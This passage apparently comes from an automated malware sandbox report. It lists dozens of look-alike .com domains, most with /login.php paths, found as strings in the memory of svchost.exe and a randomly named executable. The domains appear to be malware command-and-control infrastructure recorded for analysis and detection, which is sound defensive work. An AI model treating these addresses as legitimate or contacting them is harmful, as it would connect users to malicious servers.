Source: svchost.exe, 00000002.00000003.2329963433.0000000003319000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2328865580.0000000003315000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2329926664.0000000003317000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2328162774.0000000003315000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lymyvin.com/
Source: svchost.exe, 00000002.00000003.2649333466.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2657780583.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2649747897.00000000040F5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2347178577.0000000003322000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349507832.000000000332F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349422845.000000000332C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2347033417.00000000092E3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2649350353.0000000000853000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2347333934.0000000000851000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2647496494.00000000040F3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2347614295.0000000000853000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2347613705.0000000003325000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lymywun.com/login.php
Source: svchost.exe, 00000002.00000003.2337886081.00000000092C7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2342419975.0000000003360000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337365737.0000000003363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337520424.0000000003368000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2612622918.0000000000854000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2631989272.0000000000853000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337007716.00000000092BC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337073481.0000000003360000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2601374159.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2335731822.00000000092BC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2346961253.0000000003360000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2575537635.0000000000853000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2612862437.00000000092B7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2336470104.0000000003356000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lymyxex.com/login.php
Source: svchost.exe, 00000002.00000003.2875776226.00000000040F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lymyxir.com/h
Source: svchost.exe, 00000002.00000003.2637865779.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337019540.00000000092E3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2571444797.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2635608953.00000000092E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lyryfox.com/login.php
Source: svchost.exe, 00000002.00000003.2376137841.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2379463124.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2380581815.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2373591398.00000000092B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lyryfyr.com/login.php
Source: svchost.exe, 00000002.00000003.2337886081.00000000092C7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2546183887.0000000003330000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2552027006.0000000003323000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2329364841.00000000092BD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337007716.00000000092BC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2327922219.00000000092C0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2621634311.000000000332F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2586800323.000000000332F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2605599453.000000000332F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2622010653.0000000003331000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2330522610.00000000092C6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2616595511.000000000332F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2335731822.00000000092BC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2552026882.0000000003331000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2617062118.0000000003332000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lyrygyn.com/login.php
Source: svchost.exe, 00000002.00000003.2666875773.00000000040F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2751476610.0000000003378000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2693258532.00000000040FD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667608142.00000000040FD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2673794801.0000000003378000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667040821.00000000040FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lyryjej.com/login.php
Source: svchost.exe, 00000002.00000003.2513678339.0000000000853000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2511691560.0000000003325000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2310815345.0000000003368000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2530049232.000000000332A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2511442886.0000000003330000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2542956129.0000000000853000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2513019694.0000000000851000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2499635923.0000000000855000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2499110020.0000000003378000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2511703150.00000000033E9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2511409546.0000000003323000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lyryjir.com/login.php
Source: svchost.exe, 00000002.00000003.2289346650.00000000008E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2296615273.000000000337B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2289345179.00000000092B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lyryled.com/login.php
Source: svchost.exe, 00000002.00000003.2649333466.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2649350353.0000000000853000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2347333934.0000000000851000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2347614295.0000000000853000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lyrylix.com/login.php
Source: svchost.exe, 00000002.00000003.2726510414.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2360502034.00000000092C1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2746470521.00000000092B7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2746888339.0000000000854000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2358968663.00000000092C1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2358089375.00000000092C8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2829874698.000000000084D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2363422290.00000000092C2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2359102012.00000000092C1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2363692365.00000000092C2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2362592176.00000000092C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lyryman.com/login.php
Source: svchost.exe, 00000002.00000003.2337886081.00000000092C7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2329364841.00000000092BD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337007716.00000000092BC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2329971226.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2327922219.00000000092C0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2330522610.00000000092C6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2335731822.00000000092BC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2547959760.00000000092E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lyrynad.com/login.php
Source: svchost.exe, 00000002.00000003.2376137841.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2879404289.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2377025491.00000000092C7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2380581815.00000000092C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lyryson.com/login.php
Source: svchost.exe, 00000002.00000003.2344956997.0000000003378000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2612622918.0000000000854000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2631989272.0000000000853000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2601374159.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2571444797.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2342419975.0000000003378000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2575537635.0000000000853000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2612862437.00000000092B7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2332264267.0000000003378000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2344054756.0000000003378000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lyryvur.com/login.php
Source: svchost.exe, 00000002.00000003.2397665900.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3418889094.000000000335E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3419128942.000000000336B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3427392798.0000000009288000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2925665962.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3278908147.000000000335C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2425745567.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2927397659.0000000003363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2381728153.00000000092E3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2928746848.00000000092B7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3279511546.0000000003369000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2422762232.00000000092E3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2928459922.0000000003368000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3427876534.00000000092B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lyrywoj.com/login.php
Source: svchost.exe, 00000002.00000003.2678962210.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667617957.0000000000853000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2693258532.00000000040FD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667608142.00000000040FD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667583572.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2665259102.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667040821.00000000040FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lyrywur.com/login.php
Source: svchost.exe, 00000002.00000003.2376137841.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2902106768.00000000040FB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2884058737.00000000092E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lyryxud.com/login.php
Source: svchost.exe, 00000002.00000003.2337886081.00000000092C7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337365737.0000000003363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337520424.0000000003368000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2612622918.0000000000854000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2631989272.0000000000853000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337007716.00000000092BC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337073481.0000000003360000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2336882213.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2335731822.00000000092BC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2575537635.0000000000853000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2335731822.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337007716.00000000092B8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2336470104.0000000003356000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lysyfin.com/login.php
Source: svchost.exe, 00000002.00000003.2397665900.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2414263063.00000000033CA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2388023341.0000000000852000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2197741050.00000000008A3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2425745567.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2422762232.00000000092E3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2388405607.00000000033C0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2178331950.00000000008A3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2398171627.0000000000854000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2513835440.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2499628727.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000006.00000002.2622033644.0000000008E90000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000002.2718258067.0000000008D8F000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000003.2558068199.0000000008D9F000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000009.00000002.2671362092.00000000086C1000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000009.00000002.2671362092.0000000008682000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 0000000B.00000002.2745540362.00000000093CD000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000013.00000002.2756051050.000000000914B000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000013.00000002.2756051050.0000000009104000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000015.00000002.2856769526.0000000008FC3000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000015.00000002.2875818807.00000000091AA000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://lysyfyj.com/login.php
Source: svchost.exe, 00000002.00000003.2513678339.0000000000853000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2310815345.0000000003368000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2542956129.0000000000853000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2513019694.0000000000851000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2499635923.0000000000855000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lysylej.com/login.php
Source: svchost.exe, 00000002.00000003.2666875773.00000000040F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2693258532.00000000040FD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2672508299.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667608142.00000000040FD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667583572.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2665259102.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2356885542.00000000092C6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667040821.00000000040FB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2356000937.00000000092BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lysylun.com/login.php
Source: svchost.exe, 00000002.00000003.2397665900.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2425745567.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2388806823.0000000003360000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2422762232.00000000092E3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2387081098.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000006.00000002.2604863482.0000000001098000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000003.2572564754.0000000000FB2000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000002.2718258067.0000000008D8F000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000002.2744689381.0000000009396000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000003.2558068199.0000000008D9F000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000009.00000002.2671362092.00000000086C1000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000009.00000002.2608350004.00000000007DF000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 0000000B.00000002.2614917822.000000000154E000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 0000000B.00000002.2745540362.00000000093CD000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000013.00000002.2640207678.0000000001363000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000013.00000002.2756051050.000000000914B000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000015.00000002.2856769526.0000000008FC3000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000015.00000002.2676238100.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000015.00000002.2875818807.00000000091FC000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000018.00000002.2901602167.0000000008B80000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000018.00000002.2901602167.0000000008BD5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://lysynur.com/login.php
Source: svchost.exe, 00000002.00000003.2346403174.00000000092BD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2346603921.00000000092BD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2657780583.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667617957.0000000000853000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2649350353.0000000000853000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2672508299.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2346961253.0000000003360000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2356885542.00000000092C6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2346691543.00000000092BE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2356000937.00000000092BE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349309789.00000000092C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lysysyx.com/login.php
Source: svchost.exe, 00000002.00000003.2678962210.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2760150538.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667583572.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2665259102.00000000092E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lysytoj.com/login.php
Source: svchost.exe, 00000002.00000002.3428370692.00000000092EB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2919185604.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3287645590.00000000092EA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3408110880.0000000000855000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lysytyn.com/login.php
Source: svchost.exe, 00000002.00000003.2349886516.00000000092A4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lysyxar.com/
Source: svchost.exe, 00000002.00000003.2649333466.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2347333934.0000000000851000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2346961253.0000000003360000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2347614295.0000000000853000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lysyxar.com/login.php
Source: svchost.exe, 00000002.00000003.2726510414.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2360502034.00000000092C1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2760150538.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2746470521.00000000092B7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2358968663.00000000092C1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2358089375.00000000092C8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2363422290.00000000092C2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2359102012.00000000092C1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2363692365.00000000092C2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2362592176.00000000092C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lyvyfux.com/login.php
Source: svchost.exe, 00000002.00000003.2666875773.00000000040F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667608142.00000000040FD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667583572.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667040821.00000000040FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lyvygon.com/login.php
Source: svchost.exe, 00000002.00000002.3428370692.00000000092EB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3418118048.0000000003300000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2919185604.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3418889094.000000000335E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3419128942.000000000336B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3427392798.0000000009288000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2925665962.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3278908147.000000000335C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3287645590.00000000092EA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2927397659.0000000003363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2381728153.00000000092E3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2928746848.00000000092B7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3279511546.0000000003369000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3408110880.0000000000855000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2928459922.0000000003368000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3427876534.00000000092B8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2915948048.0000000009376000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2916039850.0000000009374000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lyvygyd.com/login.php
Source: svchost.exe, 00000002.00000003.2346403174.00000000092BD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2346603921.00000000092BD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3427392798.0000000009288000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2356885542.00000000092C6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2346691543.00000000092BE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2356000937.00000000092BE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349309789.00000000092C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lyvyjyr.com/login.php
Source: svchost.exe, 00000002.00000003.2375586174.0000000003315000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2879404289.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2377025491.00000000092C7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2902106768.00000000040FB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2378048295.0000000003317000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2380581815.00000000092C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lyvylyx.com/login.php
